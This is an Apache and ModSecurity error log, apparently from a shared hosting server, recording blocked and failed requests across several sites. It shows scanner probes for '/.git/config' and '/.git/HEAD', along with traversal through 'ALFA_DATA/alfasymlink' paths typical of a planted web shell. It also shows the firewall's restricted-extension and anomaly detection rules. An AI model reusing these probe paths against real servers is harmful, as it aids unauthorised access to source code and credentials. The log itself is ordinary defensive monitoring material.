[Mon Oct 26 21:08:06.118817 2026] [security2:error] [pid 3117428:tid 3117428] [client 102.220.163.241:29964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_5diWN_iofYZIHyv48mgAAAAs"]
[Mon Oct 26 21:08:06.119106 2026] [security2:error] [pid 3117428:tid 3117428] [client 102.220.163.241:29964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_5diWN_iofYZIHyv48mgAAAAs"]
[Mon Oct 26 21:08:06.167103 2026] [security2:error] [pid 3100940:tid 3100940] [client 3.214.176.44:51876] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/input1/event1/subsystem/event3/device/mouse1/power/"] [unique_id "at_5dj77nSD73jfhp0aE7gAAAAc"]
[Mon Oct 26 21:08:06.167165 2026] [security2:error] [pid 3100940:tid 3100940] [client 3.214.176.44:51876] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/input1/event1/subsystem/event3/device/mouse1/power/"] [unique_id "at_5dj77nSD73jfhp0aE7gAAAAc"]
[Mon Oct 26 21:08:18.119401 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 3.93.253.174:24613] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1a/subsystem/devices/device:01/PNP0303:00/physical_node1/driver/bind
[Mon Oct 26 21:08:22.258870 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.223.116.149:23076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:08:30.219527 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 35.171.141.42:63177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:08:34.139639 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 44.207.252.58:48810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:06/physical_node/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:05.0/resource0
[Mon Oct 26 21:08:38.181568 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.226.89.140:60249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:08:46.136214 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 3.218.35.239:29570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:08:54.176134 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 44.220.2.97:9144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:03.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/unbind
[Mon Oct 26 21:08:58.146326 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.204.150.196:1833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:09:02.154026 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 23.21.119.232:7585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:09:02.178150 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 185.191.171.18:10846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_net/sections/__jump_table
[Mon Oct 26 21:09:06.139081 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.84.60.17:18618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:09:38.116242 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.232.82.72:62172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:09:47.343246 2026] [security2:error] [pid 3098113:tid 3098113] [client 178.151.245.162:49226] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/pyro/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pyro/composer.json"] [unique_id "at_527HarSgES5WqcDhJ0gAAAAU"]
[Mon Oct 26 21:09:47.343464 2026] [security2:error] [pid 3098113:tid 3098113] [client 178.151.245.162:49226] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pyro/composer.json"] [unique_id "at_527HarSgES5WqcDhJ0gAAAAU"]
[Mon Oct 26 21:09:47.344435 2026] [security2:error] [pid 3098113:tid 3098113] [client 178.151.245.162:49226] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_527HarSgES5WqcDhJ0gAAAAU"]
[Mon Oct 26 21:09:58.318800 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.206.65.8:15004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:10:06.340458 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 54.147.238.89:11517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:00/subsystem/devices/device:03/physical_node/rom
[Mon Oct 26 21:10:10.121548 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 3.94.40.182:62321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/bind
[Mon Oct 26 21:10:14.330708 2026] [ssl:error] [pid 3132187:tid 3132187] (5)Input/output error: [client 52.45.92.83:47012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:10:18.197017 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.204.81.148:11933] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:10:22.231220 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 34.193.2.57:45959] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS1/uartclk
[Mon Oct 26 21:10:25.667857 2026] [security2:error] [pid 3100940:tid 3100940] [client 77.83.39.94:37484] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/HEAD"] [unique_id "at_6AT77nSD73jfhp0aE8wAAAAc"]
[Mon Oct 26 21:10:25.668097 2026] [security2:error] [pid 3100940:tid 3100940] [client 77.83.39.94:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/HEAD"] [unique_id "at_6AT77nSD73jfhp0aE8wAAAAc"]
[Mon Oct 26 21:10:25.669015 2026] [security2:error] [pid 3100940:tid 3100940] [client 77.83.39.94:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_6AT77nSD73jfhp0aE8wAAAAc"]
[Mon Oct 26 21:10:34.211316 2026] [ssl:error] [pid 3122519:tid 3122519] (5)Input/output error: [client 34.205.163.103:16095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:10:42.243702 2026] [ssl:error] [pid 3098114:tid 3098114] (5)Input/output error: [client 3.213.46.222:34651] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:10:51.574326 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 185.191.171.19:58326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/cache_dma
[Mon Oct 26 21:11:06.184363 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.225.199.17:13545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:11:10.165533 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.1.157.90:49507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:11:30.127125 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.215.231.15:34739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:11:42.258642 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.194.134.53:20098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:11:46.300121 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.173.18.61:33620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:11:54.124207 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.226.89.140:40502] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:11:58.128371 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.71.216.196:17405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:12:15.333906 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 85.208.96.209:47162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/free_calls
[Mon Oct 26 21:12:22.115654 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.205.213.231:2287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:12:58.420133 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 52.71.216.196:46237] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/subsystem/devices/QEMU0002:00/physical_node/subsystem/drivers/tpm_tis/unbind
[Mon Oct 26 21:13:04.767293 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 185.191.171.5:40154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/slabs
[Mon Oct 26 21:13:26.144913 2026] [security2:error] [pid 3132187:tid 3132187] [client 18.213.27.222:10817] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/power/"] [unique_id "at_6trChYJundcs5uwspXQAAAAQ"]
[Mon Oct 26 21:13:26.145028 2026] [security2:error] [pid 3132187:tid 3132187] [client 18.213.27.222:10817] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/power/"] [unique_id "at_6trChYJundcs5uwspXQAAAAQ"]
[Mon Oct 26 21:13:38.143632 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 98.80.130.239:42944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:13:42.229010 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 98.84.70.201:24966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:13:58.696692 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.231.193.38:60142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:02.124099 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 44.208.223.68:2059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:06.157951 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.221.50.71:31188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:18.344166 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.224.9.144:49160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:30.123504 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.212.131.50:19250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:34.241422 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 44.221.105.234:48238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:42.287815 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 18.213.27.222:63273] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:46.276030 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.7.33.248:62709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS2/iomem_base
[Mon Oct 26 21:14:53.082400 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.164.197.117:60846] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at_7DYU8RArHmY5bTmWwBwAAAAY"]
[Mon Oct 26 21:14:53.082595 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.164.197.117:60846] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at_7DYU8RArHmY5bTmWwBwAAAAY"]
[Mon Oct 26 21:14:53.083056 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.164.197.117:60846] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at_7DYU8RArHmY5bTmWwBwAAAAY"]
[Mon Oct 26 21:14:53.083436 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.164.197.117:60846] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at_7DYU8RArHmY5bTmWwBwAAAAY"]
[Mon Oct 26 21:14:54.187880 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 98.83.72.38:36530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:14:58.125554 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.205.213.231:64740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:15:02.138440 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.84.184.80:43728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:15:22.196780 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.3.156.186:2591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:15:31.928347 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.212:54492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/alloc_calls
[Mon Oct 26 21:15:38.171916 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 34.202.88.37:64705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:15:46.152842 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.225.199.17:9566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:02.127520 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.205.113.104:4895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:04.567800 2026] [core:crit] [pid 3130075:tid 3130075] (13)Permission denied: [client 184.105.247.194:56850] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 21:16:06.134507 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.209.137.234:50895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:10.134115 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.86.59.155:19436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:12.055169 2026] [security2:error] [pid 3117426:tid 3117426] [client 107.172.76.131:56982] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_7T_5ZEdGRoel0j8ffxAAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 21:16:12.055237 2026] [security2:error] [pid 3117426:tid 3117426] [client 107.172.76.131:56982] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_7T_5ZEdGRoel0j8ffxAAAAAg"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 21:16:18.152292 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.210.152.179:55309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:26.114599 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 34.196.237.236:47159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:38.133603 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.59.253:30943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:46.137075 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.194.226.74:63184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:50.132142 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 34.194.226.74:49885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:54.140165 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.218.6.93:24844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:16:58.110308 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.226.34.98:13057] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:17:06.121064 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.6.232.201:5007] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:17:06.328701 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 85.208.96.196:35828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/partial
[Mon Oct 26 21:17:16.200296 2026] [security2:error] [pid 3132187:tid 3132187] [client 16.216.88.190:32768] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/ip6tables-apply"] [unique_id "at_7nLChYJundcs5uwspaAAAAAQ"]
[Mon Oct 26 21:17:16.200343 2026] [security2:error] [pid 3132187:tid 3132187] [client 16.216.88.190:32768] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/ip6tables-apply"] [unique_id "at_7nLChYJundcs5uwspaAAAAAQ"]
[Mon Oct 26 21:17:17.335365 2026] [authz_core:error] [pid 3122515:tid 3122515] [client 45.77.61.56:41550] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:17:22.142247 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 50.19.79.213:3446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:17:34.120381 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 50.16.216.166:55874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:17:51.480363 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 85.208.96.199:63202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:17:57.951447 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.16:46292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/aliases
[Mon Oct 26 21:17:58.106701 2026] [ssl:error] [pid 3130075:tid 3130075] (5)Input/output error: [client 44.206.93.215:43181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:06.267886 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.218.103.254:4276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:10.123665 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.204.71.8:12958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/devices/0000:00:01.1/driver/0000:00:01.1/resource3
[Mon Oct 26 21:18:14.268758 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.6.5.24:64764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:18.151516 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 50.16.248.61:6123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:22.248292 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 100.29.164.178:49684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:34.129401 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.82.59.253:36382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:34.192537 2026] [security2:error] [pid 3098114:tid 3098114] [client 49.51.132.100:39270] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at_76oU8RArHmY5bTmWwEQAAAAY"]
[Mon Oct 26 21:18:34.193675 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 49.51.132.100:39270] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:18:46.181985 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.87.95.7:63531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:18:50.172022 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.223.115.10:17435] AH02013: coalesce failed to read from data bucket
